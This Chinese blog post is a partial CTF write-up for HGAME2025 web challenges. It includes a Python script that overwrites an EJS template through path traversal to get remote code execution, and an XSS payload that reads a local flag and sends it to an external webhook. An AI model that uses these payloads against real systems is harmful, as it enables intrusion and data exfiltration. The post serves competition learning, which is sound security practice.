58 字
1 分钟
【CTF】HGAME2025 部分WP
HGAME2025 部分WP
Web
Level 24 Pacman




栅栏分为2栏
hgame{u_4re_pacman_m4ster}Level 47 BandBomb
用了ejs模板,可以直接覆盖重新ejs文件RCE。
import requests
def upload_evil_template(url): # 构造恶意ejs模板 evil_template = ''' <%- global.process.mainModule.require('child_process').execSync('env') %> '''
files = { 'file': ('evil.txt', evil_template) } r = requests.post(f"{url}/upload", files=files) return r.json()['filename']
def move_template(url, filename): data = { 'oldName': filename, 'newName': '../../app/views/mortis.ejs' } return requests.post(f"{url}/rename", json=data)
def trigger_rce(url): return requests.get(f"{url}/")
def main(): url = "http://node1.hgame.vidar.club:32025"
print("[+] 上传恶意模板...") filename = upload_evil_template(url)
print("[+] 移动模板文件...") move_template(url, filename)
print("[+] 触发模板渲染...") r = trigger_rce(url) print(r.text)
if __name__ == "__main__": main()
# FLAG=hgame{@ve-mUJ1cA-HAs-BrokEn_up_BUt_wE_H@VE_UMIT4ki3c}Level 69 MysteryMessageBoard
首先是密码爆破

这里利用的是xss,附上脚本
<script>fetch('http://127.0.0.1:8888/flag') .then(response => response.text()) .then(data => { fetch('https://webhook.site/c149920f-141c-4d08-af14-1a6a58cbe3a9', { method: 'POST', body: data }); });</script>
分享
如果这篇文章对你有帮助,欢迎分享给更多人!
【CTF】HGAME2025 部分WP
https://blog.lwrzgocloud.top/posts/ctf-hgame2025-bufenwp/ 部分信息可能已经过时
相关文章 智能推荐
1
【CTF】刷题 WriteUP - WEB 篇(4.8更新)
CTF学习 CTFshow - WEB 刷题
2
【CTF】PHP命令执行(施工中)
CTF学习 介绍了PHP中常见的命令执行危险函数(如system、exec、passthru等)的语法、回显特性及使用条件,并重点讲解了在函数被过滤或disable_functions启用时的绕过方法,包括利用未禁用函数、文件包含及LD_PRELOAD劫持动态链接库等高级技巧。
3
【CTF】SQL注入学习笔记(进行中)
CTF学习 梳理了SQL注入的基础知识与实战技巧,涵盖MySQL数据库操作、注入点判断(字符型/数字型)、闭合方式识别,以及Union联合注入、报错注入(extractvalue/updatexml/floor)、布尔盲注、时间盲注等多种攻击手法,并简要介绍了文件写入获取Web Shell及HTTP头注入等进阶利用方式。
4
【CTF】WriteUp-2023-2024季MiniNK工商选拔赛「补档」
CTF学习 小丛雨天下第一 战队WriteUp 第一次打 ctf 的 wp,仅做留念
5
【CTF】WriteUp-“巴渝杯”大学生网络安全联赛
CTF学习 重工网猫 战队WriteUp